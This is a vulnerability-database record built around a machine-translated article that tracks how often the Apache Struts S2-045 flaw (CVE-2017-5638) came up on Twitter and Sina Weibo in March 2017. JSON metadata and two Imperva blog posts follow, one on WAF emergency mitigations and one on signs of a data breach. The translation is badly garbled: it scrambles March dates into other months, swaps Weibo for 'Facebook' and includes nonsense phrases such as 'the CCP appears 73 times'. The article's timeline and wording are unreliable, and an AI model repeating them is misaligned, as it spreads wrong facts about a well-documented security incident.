The Struts S2-045 vulnerability heat analysis-vulnerability warning-the black bar safety net

2017-03-16T00:00:00

Description

Author: janes(know Chong Yu 404 laboratory) Date: 2017-03-15 ## Background description Struts2 official to GMT 2017 3 December 6, 10pm published Struts2 there is a remote code execution vulnerability vulnerability number S2-045, CVE number: CVE-2017-5638, and rated as high-risk vulnerabilities. Because the vulnerability affects a wide range of（Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10, the vulnerability degree of harm is severe, you can directly access the application system of the server where the control limit, and 3 on 7 May in the morning on the Internet on the outflow of the vulnerability of the PoC and Exp,so, S2-045 vulnerability in the Internet on the impact of rapid expansion, by the Internet companies and the government attach great importance. From vulnerability announcement to now(3.6-3.15)has been more than a week, so take this opportunity to analyze S2-045 in the social media Twitter and on Sina Weibo heat distribution. ## Data acquisition If you want to analyze Twitter and on Sina Weibo, S2-045 vulnerability of the heat distribution, then you need to get Twiiter and Facebook on the data, with the data speak. So they use“selenium+phantomjs”go crawling the data via Twitter and Sina Weibo web page to the search interface, respectively, search for the keyword“s2-045”and“CVE-2017-5638”, then the search results go to the weight and finishing, taking to Twitter and Facebook, the time display of the time zone inconsistencies, using the same crawl page timestamp and then converted to the local time of the way of a unified time zone issues, the crawling data in the time to 2017 year 3 month 14 days afternoon 18 when, the results as shown below. * Twitter! [](/Article/UploadPic/2017-3/2017316104811455. png) * Sina Weibo! [](/Article/UploadPic/2017-3/2017316104812512. png) ## Heat analysis Statistics daily S2-045 vulnerability in the Twitter and on Sina Weibo, the number of occurrences, to obtain the following table, Twitter, the CCP appears 73 times, Sina Weibo, the CCP appears 45 times. On the dissemination of the amount of data, S2-045 vulnerability of the data amount is not large, this reflected from the side of the security vulnerabilities of the information and not by the majority of the people of concern, mainly in the security circle propagation. | Social media | 3 December 7 | 3 8 March | 3 April 9 | 3 October 10 | 3 11 March | 3 November 12 | 3 13 February | 3 March 14 ---|---|---|---|---|---|---|---|--- Twitter| 16 | 3 | 7 | 15 | 6 | 11 | 15 | 0 Sina Weibo| 23 | 8 | 7 | 3 | 0 | 0 | 1 | 3 ! [](/Article/UploadPic/2017-3/2017316104812815. png) Using the above table of data, production of graphics, get as on the heat distribution from the figure it can be seen: * 3 month 6 day before the announcement of the S2-045 vulnerability, 3 on 7, on Twitter and on Sina Weibo, the occurrence of the outbreak spread, which is likely to and vulnerabilities of the PoC and Exp in 3 month 7 days you on the Internet widely spread about; * Sina Weibo, S2-045 vulnerability to the heat distribution of the overall downward state, in the peak in 3 month 7 days, while Twitter as a whole was undulating trend, 3 on 7th, 3 on 10th and 3 on 13 September are peak; * Sina Weibo and Twitter for both the overall potential is not the same, and in 3 on the 7th, Sina Weibo and Twitter are data of the highest peak, but Sina Weibo, the amount of data than Twitter. There may be several reasons could explain this phenomenon: * S2-045 vulnerability is the Chinese found that, 3 on 6 September evening, the official publication of the vulnerability, 3 on 7 on the morning of the vulnerabilities of the PoC and Exp in domestic Internet flow out, by domestic security company-wide attention, this also would explain the 3 on 7 The New Wave of microblogging amount of data over the Twitter phenomenon; * Due to the S2-045 vulnerability to serious harm, and quickly spread out of PoC and Exp, and therefore, 3 on 7 August, the domestic security companies will quickly start the emergency response, other Internet companies also in self-examination and patch S2-045 vulnerability, with the vulnerability of repair, on Sina Weibo, the attention naturally reduces, the overall will show a downward trend; * Twitter user distribution of a wide range of countries or regions affected by the S2-045 the influence is different, therefore trends appear UPS and downs. 3 December 7, Sina Weibo and Twitter are data peak, then the 3 on 7, data, time period distribution mapping as follows, As can be seen, the morning 8 When before, Sina Weibo and Twitter, the amount of data is 0, 8 to 10 period rooms began to appear, it seems, and working hours more in line with the, The and the data the peak occurred mainly in the afternoon 14 to 18 between, perhaps this is because PoC and Exp on the Internet widely spread, caused the Internet began to be mass attack(reference [HackerNews Struts2 vulnerability disclosure 24 hour](<http://hackernews.cc/archives/7371>)) to. ! [](/Article/UploadPic/2017-3/2017316104812327. png) Finally, look at Twitter and Sina Weibo on on S2-045 vulnerability in the first message what time and by whom issued, and the results are shown in the following table. Twitter and Sina microblogging issued the first message is not the same person, but the transmission time difference is not much, visible at home and abroad to exploit the perceptual capacity is relatively quite. Ibid., the times are Beijing time, according to the unix time stamp conversion. Social media | time | nickname | real identity ---|---|---|--- Twitter | 2017-03-07 09:29:00 | @amannk | Sina Weibo | 2017-03-07 09:44:29 | gnaw0725 | nsfocus Brand Manager Wang Yang **[1] [[2]](<84379_2.htm>) [next](<84379_2.htm>)**

{"id": "MYHACK58:62201784379", "vendorId": null, "type": "myhack58", "bulletinFamily": "info", "title": "The Struts S2-045 vulnerability heat analysis-vulnerability warning-the black bar safety net", "description": "Author: janes(know Chong Yu 404 laboratory)\n\nDate: 2017-03-15\n\n## Background description\n\nStruts2 official to GMT 2017 3 December 6, 10pm published Struts2 there is a remote code execution vulnerability vulnerability number S2-045, CVE number: CVE-2017-5638, and rated as high-risk vulnerabilities. Because the vulnerability affects a wide range of\uff08Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10, the vulnerability degree of harm is severe, you can directly access the application system of the server where the control limit, and 3 on 7 May in the morning on the Internet on the outflow of the vulnerability of the PoC and Exp,so, S2-045 vulnerability in the Internet on the impact of rapid expansion, by the Internet companies and the government attach great importance. From vulnerability announcement to now(3.6-3.15)has been more than a week, so take this opportunity to analyze S2-045 in the social media Twitter and on Sina Weibo heat distribution.\n\n## Data acquisition\n\nIf you want to analyze Twitter and on Sina Weibo, S2-045 vulnerability of the heat distribution, then you need to get Twiiter and Facebook on the data, with the data speak. So they use\u201cselenium+phantomjs\u201dgo crawling the data via Twitter and Sina Weibo web page to the search interface, respectively, search for the keyword\u201cs2-045\u201dand\u201cCVE-2017-5638\u201d, then the search results go to the weight and finishing, taking to Twitter and Facebook, the time display of the time zone inconsistencies, using the same crawl page timestamp and then converted to the local time of the way of a unified time zone issues, the crawling data in the time to 2017 year 3 month 14 days afternoon 18 when, the results as shown below.\n\n* Twitter! [](/Article/UploadPic/2017-3/2017316104811455. png)\n\n* Sina Weibo! [](/Article/UploadPic/2017-3/2017316104812512. png)\n\n## Heat analysis\n\nStatistics daily S2-045 vulnerability in the Twitter and on Sina Weibo, the number of occurrences, to obtain the following table, Twitter, the CCP appears 73 times, Sina Weibo, the CCP appears 45 times. On the dissemination of the amount of data, S2-045 vulnerability of the data amount is not large, this reflected from the side of the security vulnerabilities of the information and not by the majority of the people of concern, mainly in the security circle propagation.\n\n| Social media | 3 December 7 | 3 8 March | 3 April 9 | 3 October 10 | 3 11 March | 3 November 12 | 3 13 February | 3 March 14 \n---|---|---|---|---|---|---|---|--- \nTwitter| 16 | 3 | 7 | 15 | 6 | 11 | 15 | 0 \nSina Weibo| 23 | 8 | 7 | 3 | 0 | 0 | 1 | 3 \n\n! [](/Article/UploadPic/2017-3/2017316104812815. png)\n\nUsing the above table of data, production of graphics, get as on the heat distribution from the figure it can be seen:\n\n* 3 month 6 day before the announcement of the S2-045 vulnerability, 3 on 7, on Twitter and on Sina Weibo, the occurrence of the outbreak spread, which is likely to and vulnerabilities of the PoC and Exp in 3 month 7 days you on the Internet widely spread about;\n* Sina Weibo, S2-045 vulnerability to the heat distribution of the overall downward state, in the peak in 3 month 7 days, while Twitter as a whole was undulating trend, 3 on 7th, 3 on 10th and 3 on 13 September are peak;\n* Sina Weibo and Twitter for both the overall potential is not the same, and in 3 on the 7th, Sina Weibo and Twitter are data of the highest peak, but Sina Weibo, the amount of data than Twitter.\n\nThere may be several reasons could explain this phenomenon:\n\n* S2-045 vulnerability is the Chinese found that, 3 on 6 September evening, the official publication of the vulnerability, 3 on 7 on the morning of the vulnerabilities of the PoC and Exp in domestic Internet flow out, by domestic security company-wide attention, this also would explain the 3 on 7 The New Wave of microblogging amount of data over the Twitter phenomenon;\n* Due to the S2-045 vulnerability to serious harm, and quickly spread out of PoC and Exp, and therefore, 3 on 7 August, the domestic security companies will quickly start the emergency response, other Internet companies also in self-examination and patch S2-045 vulnerability, with the vulnerability of repair, on Sina Weibo, the attention naturally reduces, the overall will show a downward trend;\n* Twitter user distribution of a wide range of countries or regions affected by the S2-045 the influence is different, therefore trends appear UPS and downs.\n\n3 December 7, Sina Weibo and Twitter are data peak, then the 3 on 7, data, time period distribution mapping as follows, As can be seen, the morning 8 When before, Sina Weibo and Twitter, the amount of data is 0, 8 to 10 period rooms began to appear, it seems, and working hours more in line with the, The and the data the peak occurred mainly in the afternoon 14 to 18 between, perhaps this is because PoC and Exp on the Internet widely spread, caused the Internet began to be mass attack(reference [HackerNews Struts2 vulnerability disclosure 24 hour](<http://hackernews.cc/archives/7371>)) to.\n\n! [](/Article/UploadPic/2017-3/2017316104812327. png)\n\nFinally, look at Twitter and Sina Weibo on on S2-045 vulnerability in the first message what time and by whom issued, and the results are shown in the following table. Twitter and Sina microblogging issued the first message is not the same person, but the transmission time difference is not much, visible at home and abroad to exploit the perceptual capacity is relatively quite.\n\nIbid., the times are Beijing time, according to the unix time stamp conversion.\n\nSocial media | time | nickname | real identity\n---|---|---|--- \nTwitter | 2017-03-07 09:29:00 | @amannk | \nSina Weibo | 2017-03-07 09:44:29 | gnaw0725 | nsfocus Brand Manager Wang Yang\n\n**[1] [[2]](<84379_2.htm>) [next](<84379_2.htm>)**\n", "published": "2017-03-16T00:00:00", "modified": "2017-03-16T00:00:00", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/", "score": 10.0}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 10.0, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, "href": "http://www.myhack58.com/Article/html/3/62/2017/84379.htm", "reporter": "\u4f5a\u540d", "references": [], "cvelist": ["CVE-2017-5638"], "immutableFields": [], "lastseen": "2017-03-16T03:17:43", "viewCount": 136, "enchantments": {"dependencies": {"references": [{"type": "atlassian", "idList": ["ATLASSIAN:BAM-18242", "ATLASSIAN:CWD-4879", "BAM-18242", "CWD-4879"]}, {"type": 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"ORACLE_WEBCENTER_SITES_APR_2017_CPU.NASL", "ORACLE_WEBLOGIC_SERVER_CPU_APR_2017.NASL", "ORACLE_WEBLOGIC_SERVER_CPU_JUL_2017.NASL", "ORACLE_WEBLOGIC_SERVER_CVE-2017-9805.NBIN", "SELLIGENT_MESSAGE_STUDIO_RCE.NBIN", "STRUTS_2_5_10_1_RCE.NASL", "STRUTS_2_5_10_1_WIN_LOCAL.NASL", "WEB_APPLICATION_SCANNING_112726"]}, {"type": "nmap", "idList": ["NMAP:HTTP-VULN-CVE2017-5638.NSE"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310106640", "OPENVAS:1361412562310106646", "OPENVAS:1361412562310106647", "OPENVAS:1361412562310106652", "OPENVAS:1361412562310106653", "OPENVAS:1361412562310106736", "OPENVAS:1361412562310108771", "OPENVAS:1361412562310140180", "OPENVAS:1361412562310140190", "OPENVAS:1361412562310140229", "OPENVAS:1361412562310141398", "OPENVAS:1361412562310810748", "OPENVAS:1361412562310811244"]}, {"type": "oracle", "idList": ["ORACLE:CPUAPR2017", "ORACLE:CPUJUL2017"]}, {"type": "osv", "idList": ["OSV:GHSA-J77Q-2QQG-6989"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:141576", "PACKETSTORM:141630"]}, {"type": "pentestit", "idList": ["PENTESTIT:C47AA6D1808026ACA45B1AD1CF25CA3B", "PENTESTIT:F5DFB26B34C75683830E664CBD58178F"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:110CC96D8440CC2A1EA0521D300634ED", "QUALYSBLOG:1A5EE9D9F7F017B2137FF614703A8605", "QUALYSBLOG:5C311FA52DD78D7015076D492F321DB0", "QUALYSBLOG:9BA334FCEF38374A0B09A0614B2D74D4", "QUALYSBLOG:AB2325C5FBED5CF55517445600D470C1"]}, {"type": "rapid7community", "idList": ["RAPID7COMMUNITY:078B46BBA3057CDE37845D48479CC3DD"]}, {"type": "redhatcve", "idList": ["RH:CVE-2017-5638"]}, {"type": "saint", "idList": ["SAINT:01D1CBFEFCD799FC1DCF4DD30F44F248", "SAINT:484D58D595B8F6CEE787306160971308", "SAINT:966010900F7632E797C552D31C2BB53A"]}, {"type": "seebug", "idList": ["SSV:92746", "SSV:92804"]}, {"type": "talosblog", "idList": ["TALOSBLOG:991CC85C1D7CC3CD70110C7FAE123FAC", "TALOSBLOG:DAD87115458AF1FB5EDF5A2BB21D8AB9", "TALOSBLOG:DB8F26399F12B0F9B9309365CB42D9BB", "TALOSBLOG:E8F926D413AF8A060A5CA7289C0EAD20"]}, {"type": "thn", "idList": ["THN:2707247140A4F620671B33D68FEB1EA9", "THN:3F47D7B66C8A65AB31FAC5823C96C34D", "THN:6C0E5E35ABB362C8EA341381B3DD76D6", "THN:7FD924637D99697D78D53283817508DA", "THN:89C2482FECD181DD37C6DAEEB7A66FA9", "THN:ACD3479531482E2CA5A8E15EB6B47523", "THN:AF93AEDBDE6169AD1163D53979A4EA04"]}, {"type": "threatpost", "idList": ["THREATPOST:0308A7143D92E14583CCD684912ABD67", "THREATPOST:0DD2AEA1738F9B6612B1C845F3BC949F", "THREATPOST:12E93CDF8BAC1B158CE1737E859FDD80", "THREATPOST:1C2F8B65F8584E9BF67617A331A7B993", "THREATPOST:477B6029652B76463B5C5B7155CDF736", "THREATPOST:5ADABEB29891532ECFF2D6ABD99CAED4", "THREATPOST:5E633FD1C6A5B5BB74F1B6A8399001A2", "THREATPOST:7B2EAFA107D335014D553D78946C453E", "THREATPOST:7DFB677F72D6258B3CDEE746C764E29E", "THREATPOST:7E66A86C86BE8481D1B905B183CA42C3", "THREATPOST:9E84C27A33C751DE6ECC9BAAF9C0F19B", "THREATPOST:A45826A8CDA7058392C4901D6AAD15F1", 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["STRUTS_OGNL"]}, {"type": "cert", "idList": ["VU:834067"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2017-0197", "CPAI-2017-0676"]}, {"type": "cisco", "idList": ["CISCO-SA-20170310-STRUTS2"]}, {"type": "cloudfoundry", "idList": ["CFOUNDRY:C2B8B89ADB85BB41095EAA7D88C0E350"]}, {"type": "cve", "idList": ["CVE-2017-5638"]}, {"type": "f5", "idList": ["F5:K43451236"]}, {"type": "github", "idList": ["GHSA-J77Q-2QQG-6989"]}, {"type": "githubexploit", "idList": ["B41082A1-4177-53E2-A74C-8ABA13AA3E86"]}, {"type": "huawei", "idList": ["HUAWEI-SA-20170316-01-STRUTS2"]}, {"type": "ibm", "idList": ["6470A30C25E8E98A770393E4946FDE7CFE3362A1DD3B87E75F8DB1F7CE3E88A5", "7E0CCCCB457D8A77AB9E189B336C99165EE3DEBFD72C3969F0C1103ED1D1CC6D"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:C40BB28F51D206C8BB23721D1ECED353", "IMPERVABLOG:DA39045C8E700086C560AAFFDBA589A6"]}, {"type": "kitploit", "idList": ["KITPLOIT:1841841790447853746", "KITPLOIT:2304674796555328667", "KITPLOIT:9079806502812490909"]}, {"type": "krebs", "idList": ["KREBS:EE70929DE902D9B233E209B73C1AD4A0"]}, {"type": "lenovo", "idList": ["LENOVO:PS500093-NOSID"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:4993027161793E66024E0B42522BB53D"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/MULTI/HTTP/STRUTS2_CONTENT_TYPE_OGNL"]}, {"type": "myhack58", "idList": ["MYHACK58:62201784024", "MYHACK58:62201784026", "MYHACK58:62201784086"]}, {"type": "nessus", "idList": ["STRUTS_2_5_10_1_WIN_LOCAL.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310106640", "OPENVAS:1361412562310106646", "OPENVAS:1361412562310106647", "OPENVAS:1361412562310106652", "OPENVAS:1361412562310106653", "OPENVAS:1361412562310106736", "OPENVAS:1361412562310140190", "OPENVAS:1361412562310140229"]}, {"type": "oracle", "idList": ["ORACLE:CPUJUL2017"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:141576", "PACKETSTORM:141630"]}, {"type": "pentestit", "idList": ["PENTESTIT:C47AA6D1808026ACA45B1AD1CF25CA3B"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:110CC96D8440CC2A1EA0521D300634ED"]}, {"type": "rapid7community", "idList": ["RAPID7COMMUNITY:078B46BBA3057CDE37845D48479CC3DD"]}, {"type": "redhatcve", "idList": ["RH:CVE-2017-5638"]}, {"type": "saint", "idList": ["SAINT:01D1CBFEFCD799FC1DCF4DD30F44F248", "SAINT:966010900F7632E797C552D31C2BB53A"]}, {"type": "seebug", "idList": ["SSV:92746", "SSV:92804"]}, {"type": "talosblog", "idList": ["TALOSBLOG:DB8F26399F12B0F9B9309365CB42D9BB"]}, {"type": "thn", "idList": ["THN:2707247140A4F620671B33D68FEB1EA9", "THN:3F47D7B66C8A65AB31FAC5823C96C34D", "THN:6C0E5E35ABB362C8EA341381B3DD76D6", "THN:ACD3479531482E2CA5A8E15EB6B47523"]}, {"type": "threatpost", "idList": ["THREATPOST:0308A7143D92E14583CCD684912ABD67", "THREATPOST:477B6029652B76463B5C5B7155CDF736", "THREATPOST:5E633FD1C6A5B5BB74F1B6A8399001A2", "THREATPOST:7DFB677F72D6258B3CDEE746C764E29E", "THREATPOST:7E66A86C86BE8481D1B905B183CA42C3", "THREATPOST:9E84C27A33C751DE6ECC9BAAF9C0F19B", "THREATPOST:AD5395CA5B3FD95FAD8E67B675D0AFCA", "THREATPOST:CD1CBFA154DFAA1F3DC0E2E5CFA58D0A", "THREATPOST:D70CED5C745CA3779F2D02FBB6DBA717", "THREATPOST:FC5665486C9D63E5C0C242F47F66ACF1"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:5232F354244FCA9F40053F10BE385E28", "TRENDMICROBLOG:5DA0AA0203F450ED9FF0CB21A89017BB"]}, {"type": "vmware", "idList": ["VMSA-2017-0004.7"]}, {"type": "zdt", "idList": ["1337DAY-ID-27300", "1337DAY-ID-27316"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2017-5638", "epss": "0.975380000", "percentile": "0.999830000", "modified": "2023-03-15"}], "vulnersScore": -0.0}, "_state": {"dependencies": 1678959810, "score": 1678961349, "epss": 1678961154}, "_internal": {"score_hash": "09c4422f6f4379387e82284fa7d0c0fd"}, "sourceData": "", "affectedSoftware": [], "appercut": {}, "exploitpack": {}, "hackapp": {}, "toolHref": "", "w3af": {}}

{"impervablog": [{"lastseen": "2018-04-26T20:41:18", "description": "We previously reported that the overall number of new web application vulnerabilities in 2017 showed a 212% increase from 2016\u2019s 6,615 to a whopping 14,082. This spike was due, in part, to high-profile vulnerabilities like Heartbleed, Shellshock, POODLE, Apache Struts 2 and more recently, Meltdown and Spectra.\n\nThere is, however, good news in the form of a new tool tasked with pushing mitigations for high-profile vulnerabilities like these to the SecureSphere [Web Application Firewall (WAF)](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>) within a matter of hours.\n\n## Ongoing Vulnerability Protection\n\nTasking your security team with analyzing each and every vulnerability, deciding their relevance and applying the necessary mitigations is near impossible, which is why [virtual patching of your WAF](<https://www.imperva.com/blog/2017/03/deploy-instant-virtual-patching-on-securesphere-waf-with-highly-accurate-web-vulnerability-data/>) is so important. Not updating your WAF regularly is like wearing your old 80s jeans thinking you\u2019re still cool\u2026you\u2019re not. Imperva regularly releases mitigations for new vulnerabilities.\n\n> In today\u2019s tech landscape, where constantly up-leveled cyberattacks are one of the most prominent threats to corporate assets, timing is everything.\n\nOnce a [vulnerability is published](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) it\u2019s only a matter of time until attackers will exploit it. It only takes a few hours for high-quality code snippets to be published and by then, every script-kiddy has had the opportunity to run them against whomever they choose. In the case of a [2017 Apache Struts vulnerability](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>), for example, an official exploit was made public one day after the vulnerability was announced. Clearly, updating mitigations only once every few weeks is not enough.\n\n## The Answer: An Emergency Feed\n\nImperva has incorporated an emergency feed into our ThreatRadar subscription service as an extension of our WAF, which allows Imperva security researchers to push mitigations for high-profile vulnerabilities to the WAF in just a matter of hours. Our goal is to push mitigations via the emergency feed in no less than 24 hours from the time of the vulnerability\u2019s publication, so whether a new vulnerability hits the landscape in the middle of the night or your entire security team is on vacation, your WAF estate is protected.\n\n## So, how do we do it?\n\nTo apply mitigation through the emergency feed, a vulnerability must be remotely exploited, operational without authentication and have the potential to be highly impactful. In these cases, Imperva researchers analyze the vulnerability, understand its scope, and create the appropriate mitigation. The mitigation is then run through a wide set of Incapsula and SecureSphere customers, on real-world data, to observe its false positive rate and search for the vulnerabilities\u2019 variations. Only when our researchers are convinced that the new mitigation is stable and reliable will they push it into the emergency feed.\n\nSimply put, in just a few hours, all of Imperva\u2019s customers on Incapsula and SecureSphere WAFs are fully protected. The best part? There\u2019s no action required by your in-house security team. As soon as they\u2019re back in the office they have access to a report summarizing the nature of the vulnerability and the mitigation applied.\n\n## Included with ThreatRadar Subscription\n\nIf you\u2019re a SecureSphere customer with a [ThreatRadar](<https://www.imperva.com/products/threatradar-intelligence/>) subscription, the emergency feed is included and takes only a few clicks to enable. Incapsula customers receive this service out of the box \u2013 no registration required.\n\nFor SecureSphere customers with ThreatRadar subscription:\n\n 1. Check the **Emergency Feed** box on the customer portal to register.\n\n[![](https://www.imperva.com/blog/wp-content/uploads/2018/04/Emergency-Feed-1.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/04/Emergency-Feed-1.png>)\n\n 1. In the Imperva SecureSphere WAF dashboard, enable the **Emergency Feed services** under the ThreatRadar tab.\n\n[![](https://www.imperva.com/blog/wp-content/uploads/2018/04/Emergency-Feed-2.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/04/Emergency-Feed-2.png>)\n\nThat\u2019s it. The emergency feed is enabled and will begin receiving new mitigations immediately. With each content update, our researchers will remove the most recent mitigations from the emergency feed and permanently add them to your SecureSphere WAF, so your system is updated. You will be notified of updates via email.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-04-26T19:01:59", "type": "impervablog", "title": "Keeping Your WAF Relevant: Emergency Feed Pushes New Mitigations in Just Hours", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-04-26T19:01:59", "href": "https://www.imperva.com/blog/2018/04/keeping-waf-relevant-emergency-feed-pushes-new-mitigations-just-hours/", "id": "IMPERVABLOG:5E50E2263AEAFE98B90E01B16AA73334", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-09-12T15:28:21", "description": "## Key signs to look for in today\u2019s complex data threat landscape\n\n## Introduction\n\nThe most vulnerable data repositories are the ones deep in your organization\u2019s infrastructure. Everyone assumes they are safe, but as with your home, organizations must invest in security at entry points. Otherwise, the result is unsecured valuables lying around out in the open or easy to find in obvious closets or drawers.\n\nWhat happens to security when someone known to the homeowners, like a plumber, gardener, or friend, has access to the house? It becomes much easier for other people to exploit the homeowner and access the property.\n\nThe same principle applies to organizations. They deploy most of their security strategy on the perimeter and leave their \u201cdeep\u201d data repositories vulnerable to data breaches. Bad actors have the opportunity to exploit organization insiders or third-party software components. A [2022 Forrester report](<https://www.imperva.com/resources/resource-library/white-papers/forrester-insider-threats-drive-data-protection-improvements-full-report/>) revealed that 58 percent of sensitive data incidents are caused by insiders, either from non-malicious mistakes or deliberately malicious actions. The report also revealed that 82 percent of organizations do not have an insider risk management strategy or policy. It doesn\u2019t, however, have to be this way.\n\nYour data repositories contain the sensitive personal data of your business, employees, and customers, and, much like the valuables around your home, you should have a security strategy to safeguard them effectively. Staying with the home security metaphor, you need to consider turning the containers of your valuables into secure vessels, minimizing the number of people who could secure access, and gaining the ability to inventory losses when they happen. In data security, this means encryption, minimal entitlements, access control, and advanced analytics. Forrester data suggests, however, that not all organizations understand how to create an effective data security strategy, and their biggest mistake is not effectively addressing the insider threat.\n\nTwo critical business trends contribute to the ease with which bad actors can sneak undetected into your organization's infrastructure and breach sensitive data, and we address them in this post. Next, we\u2019ll explain general data breach attack flows and profile typical attackers to help you gain a better understanding of who and what to look for. Finally, we\u2019ll make some recommendations on how you can integrate a modern data security fabric with existing tools to create an effective, sustainable data security strategy.\n\nThe cost of an intruder who has access to the \u201chouse\u201d on an ongoing basis cannot be overstated. Every day, bad actors can exploit your vulnerable data repositories and your structured, semi-structured, and unstructured data to exfiltrate the sensitive information for which you are responsible. This can easily play a role in the data exfiltration process by acting as temporary storage or a proxy to transport the data from a secure environment to an unprotected environment and then to the outside. This is the essence of a data breach - a successful attempt to open the closet or \u201ccrack\u201d the safe and expose the sensitive personal data contained in it.\n\n## Two business trends make organizations vulnerable\n\n 1. **The need to integrate with external technology providers.** Some CISOs and their team members struggle to secure a business services environment, which becomes additionally challenging as business operations agility grows.\n 2. **The evolution of cloud computing.** As organizations transition to the cloud, they are using third-party cloud-managed computing environments and third-party SaaS services to accelerate the migration process.\n\n## Data breaches are far more common today because of third parties\n\nRelying on third party code and services providers means that an organization's information technology infrastructure is exposed to suppliers that do not have a robust data security strategy aligned with the organization\u2019s own. The risk becomes much greater as every third-party technology provider's security vulnerabilities, in effect, become yours.\n\nThe first step for CISOs and their security teams is to secure all sensitive data assets and gain complete visibility into all data repositories that are part of the organization's architecture. This includes legacy repositories deep in the architecture and new ones, in on-premises and cloud-managed environments. Even data repositories that you don\u2019t know exist yet. When you have that level of visibility, then you can evaluate vulnerabilities, figure out who should have privileged access to the repositories and why, then optimize your detection and response process to deal with potential breaches.\n\n## General data breach attack flows\n\nMost data breaches have common characteristics, no matter the details of the breach. First, the attacker needs to penetrate the organization's IT (Information Technology) or OT (Operational Technology) environments, look around and find the asset of interest that it can take.\n\n### Examples of Early Signs of a Data Breach\n\n**Signs in critical stages:**\n\n**Reconnaissance:**\n\n * System tables scan\n * Massive database scan\n * Multiple login attempts\n\n**Exploitation:**\n\n * Open command shell\n * Machine takeover\n\n**Data Access:**\n\n * Service account misuse\n * Retrieving high numbers of records\n * Accessing business-critical data\n\n**General Signs:**\n\n * Work/activity in unusual hours\n * Use of dynamic SQL\n\n## Data breach attacker types\n\n### Hit & Run\n\nThis \u201cOpportunist\u201d identifies an opportunity; whether it is a vulnerability, a publicly open database, or something else. The bad actor decides to take what they can and leave. This kind of attacker will not try to search for other databases or penetrate the organization\u2019s network, or try to execute exotic exploits, etc. They will just take what they can, and then sell it to the highest bidder.\n\n### The Curious\n\nThis attacker usually sets out with a purpose, but may decide to look deeper. They may look around a little bit, but not too much. They are still focused on their original purpose, malware deployment, data exfiltration, etc.\n\n### The Resident\n\nThe most dangerous type, as in the \u201cEquifax\u201d breach, the Resident will gain access to the organization\u2019s network and will stay for months, sometimes years. They will use keyloggers, sniffers, and other methods to steal credentials and compromise databases, using \u201c[Low and Slow](<https://www.imperva.com/blog/the-account-takeover-threat-a-by-the-numbers-breakdown/>)\u201d and other methods to stay undetected.\n\n## Common data breach attack examples\n\nThe attacks that cause the greatest damage are \u2018The resident\u2019 attacks. Let's consider some examples to understand how these attacks are forged.\n\n### The resident attack\n\nInfosec disasters are typically the result of multiple failures. Invariably, post-breach analysis reveals several security weaknesses that allowed attackers to steal terabytes of information from supposedly secure systems.\n\nThere are several well-known, high-impact incident reports, such as Equifax, Anthem Inc., and the U.S. Office of Personnel Management that describe pre-breach progressions falling under this category.\n\n### Typical attack flow\n\n 1. The initial hack is done via a web-facing application, one example can be the Equifax customer complaint portal and its CVE-2017-5638 vulnerability. **ThreatPost:** _\u201cEquifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cybersecurity firm to determine what information was accessed and who has been impacted. We know that criminals exploited a U.S. website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638.\u201d_\n 